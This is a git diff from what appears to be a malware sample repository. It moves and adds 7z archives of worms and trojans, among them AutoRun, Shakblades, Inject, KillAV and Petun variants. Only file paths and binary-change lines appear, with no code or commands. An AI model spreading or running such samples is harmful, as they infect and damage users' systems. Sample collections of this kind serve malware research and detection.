Win32/InternetWorm/Worm.Win32.AutoRun.Generic/Worm.MSIL.Autorun.jk.7z diff --git a/Win32/InternetWorm/Worm.Win32.AutoRun.dfi.7z b/Win32/InternetWorm/Worm.Win32.AutoRun.Generic/Worm.Win32.AutoRun.dfi.7z similarity index 100% rename from Win32/InternetWorm/Worm.Win32.AutoRun.dfi.7z rename to Win32/InternetWorm/Worm.Win32.AutoRun.Generic/Worm.Win32.AutoRun.dfi.7z diff --git a/Win32/InternetWorm/Worm.Win32.AutoRun.hgi.7z b/Win32/InternetWorm/Worm.Win32.AutoRun.Generic/Worm.Win32.AutoRun.hgi.7z similarity index 100% rename from Win32/InternetWorm/Worm.Win32.AutoRun.hgi.7z rename to Win32/InternetWorm/Worm.Win32.AutoRun.Generic/Worm.Win32.AutoRun.hgi.7z diff --git a/Win32/InternetWorm/Worm.Win32.AutoRun.hvq-b.7z b/Win32/InternetWorm/Worm.Win32.AutoRun.Generic/Worm.Win32.AutoRun.hvq-b.7z similarity index 100% rename from Win32/InternetWorm/Worm.Win32.AutoRun.hvq-b.7z rename to Win32/InternetWorm/Worm.Win32.AutoRun.Generic/Worm.Win32.AutoRun.hvq-b.7z diff --git a/Win32/InternetWorm/Worm.Win32.AutoRun.hvq.7z b/Win32/InternetWorm/Worm.Win32.AutoRun.Generic/Worm.Win32.AutoRun.hvq.7z similarity index 100% rename from Win32/InternetWorm/Worm.Win32.AutoRun.hvq.7z rename to Win32/InternetWorm/Worm.Win32.AutoRun.Generic/Worm.Win32.AutoRun.hvq.7z diff --git a/Win32/InternetWorm/Worm.Win32.Shakblades.ajg-0.7z b/Win32/InternetWorm/Worm.Win32.Shakblades/Worm.Win32.Shakblades.ajg-0.7z similarity index 100% rename from Win32/InternetWorm/Worm.Win32.Shakblades.ajg-0.7z rename to Win32/InternetWorm/Worm.Win32.Shakblades/Worm.Win32.Shakblades.ajg-0.7z diff --git a/Win32/InternetWorm/Worm.Win32.Shakblades.ajg-6.7z b/Win32/InternetWorm/Worm.Win32.Shakblades/Worm.Win32.Shakblades.ajg-6.7z similarity index 100% rename from Win32/InternetWorm/Worm.Win32.Shakblades.ajg-6.7z rename to Win32/InternetWorm/Worm.Win32.Shakblades/Worm.Win32.Shakblades.ajg-6.7z diff --git a/Win32/InternetWorm/Worm.Win32.Shakblades.ajg-9.7z b/Win32/InternetWorm/Worm.Win32.Shakblades/Worm.Win32.Shakblades.ajg-9.7z similarity index 100% rename from Win32/InternetWorm/Worm.Win32.Shakblades.ajg-9.7z rename to Win32/InternetWorm/Worm.Win32.Shakblades/Worm.Win32.Shakblades.ajg-9.7z diff --git a/Win32/InternetWorm/Worm.Win32.Shakblades.ajg.7z b/Win32/InternetWorm/Worm.Win32.Shakblades/Worm.Win32.Shakblades.ajg.7z similarity index 100% rename from Win32/InternetWorm/Worm.Win32.Shakblades.ajg.7z rename to Win32/InternetWorm/Worm.Win32.Shakblades/Worm.Win32.Shakblades.ajg.7z diff --git a/Win32/InternetWorm/Worm.Win32.Shakblades.wqv.7z b/Win32/InternetWorm/Worm.Win32.Shakblades/Worm.Win32.Shakblades.wqv.7z similarity index 100% rename from Win32/InternetWorm/Worm.Win32.Shakblades.wqv.7z rename to Win32/InternetWorm/Worm.Win32.Shakblades/Worm.Win32.Shakblades.wqv.7z diff --git a/Win32/InternetWorm/Worm.Win32.Shakblades.y.7z b/Win32/InternetWorm/Worm.Win32.Shakblades/Worm.Win32.Shakblades.y.7z similarity index 100% rename from Win32/InternetWorm/Worm.Win32.Shakblades.y.7z rename to Win32/InternetWorm/Worm.Win32.Shakblades/Worm.Win32.Shakblades.y.7z diff --git a/Win32/Backdoor.MSIL.Small.h.7z b/Win32/Trojans/Backdoor.MSIL.Small.h.7z similarity index 100% rename from Win32/Backdoor.MSIL.Small.h.7z rename to Win32/Trojans/Backdoor.MSIL.Small.h.7z diff --git a/Win32/Stealers/Trojan.MSIL.BitMiner.bp.7z b/Win32/Trojans/Trojan.MSIL.BitMiner.bp.7z similarity index 100% rename from Win32/Stealers/Trojan.MSIL.BitMiner.bp.7z rename to Win32/Trojans/Trojan.MSIL.BitMiner.bp.7z diff --git a/Win32/Trojans/Trojan.MSIL.FraudPack.Generic/Trojan.MSIL.FraudPack.m.7z b/Win32/Trojans/Trojan.MSIL.FraudPack.Generic/Trojan.MSIL.FraudPack.m.7z new file mode 100644 index 00000000..ba48f66b Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.FraudPack.Generic/Trojan.MSIL.FraudPack.m.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.FraudPack.Generic/Trojan.MSIL.FraudPack.n.7z b/Win32/Trojans/Trojan.MSIL.FraudPack.Generic/Trojan.MSIL.FraudPack.n.7z new file mode 100644 index 00000000..dc64b0c9 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.FraudPack.Generic/Trojan.MSIL.FraudPack.n.7z differ diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/ed404015d077ea06 b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.aey-5.7z similarity index 59% rename from MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/ed404015d077ea06 rename to Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.aey-5.7z index 7023412a..f74e8253 100644 Binary files a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/ed404015d077ea06 and b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.aey-5.7z differ diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/ed404015d077ea06 b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.aey-9.7z similarity index 59% rename from MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/ed404015d077ea06 rename to Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.aey-9.7z index 7023412a..a628a601 100644 Binary files a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/ed404015d077ea06 and b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.aey-9.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq-0.7z b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq-0.7z new file mode 100644 index 00000000..2fd011b9 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq-0.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq-1.7z b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq-1.7z new file mode 100644 index 00000000..c2c41987 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq-1.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq-6.7z b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq-6.7z new file mode 100644 index 00000000..72887c36 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq-6.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq-a.7z b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq-a.7z new file mode 100644 index 00000000..446be202 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq-a.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq.7z b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq.7z new file mode 100644 index 00000000..b74eb57e Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.qn.7z b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.qn.7z new file mode 100644 index 00000000..c815c5a0 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.qn.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.sh.7z b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.sh.7z new file mode 100644 index 00000000..8c50bec9 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.sh.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.a.7z b/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.a.7z new file mode 100644 index 00000000..57c3348b Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.a.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.ao-2.7z b/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.ao-2.7z new file mode 100644 index 00000000..589698d9 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.ao-2.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.ao-7.7z b/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.ao-7.7z new file mode 100644 index 00000000..e0955e41 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.ao-7.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.ao-9.7z b/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.ao-9.7z new file mode 100644 index 00000000..71ef41af Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.ao-9.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.b.7z b/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.b.7z new file mode 100644 index 00000000..57bfe0a9 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.b.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.t.7z b/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.t.7z new file mode 100644 index 00000000..1d3cb131 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.t.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-03.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-03.7z new file mode 100644 index 00000000..e571b8fe Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-03.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-4.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-4.7z new file mode 100644 index 00000000..b7b6b3a4 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-4.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-45.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-45.7z new file mode 100644 index 00000000..120e4449 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-45.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-47.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-47.7z new file mode 100644 index 00000000..23304f1a Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-47.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-5.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-5.7z new file mode 100644 index 00000000..f85b378b Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-5.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-6.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-6.7z new file mode 100644 index 00000000..8bdab346 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-6.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-8.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-8.7z new file mode 100644 index 00000000..a4b9d725 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-8.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-88.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-88.7z new file mode 100644 index 00000000..8a93ff05 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-88.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-89.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-89.7z new file mode 100644 index 00000000..cbe08936 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-89.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-890.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-890.7z new file mode 100644 index 00000000..7aeb2367 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-890.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-9.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-9.7z new file mode 100644 index 00000000..86e7bd7c Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-9.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-97.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-97.7z new file mode 100644 index 00000000..c2acdc4a Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-97.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-98.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-98.7z new file mode 100644 index 00000000..56748895 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-98.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-d9.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-d9.7z new file mode 100644 index 00000000..f0743954 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-d9.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-e0.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-e0.7z new file mode 100644 index 00000000..88224045 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-e0.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-f6.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-f6.7z new file mode 100644 index 00000000..f995622b Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-f6.7z differ diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a.7z new file mode 100644 index 00000000..e5de6056 Binary files /dev/null and b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a.7z differ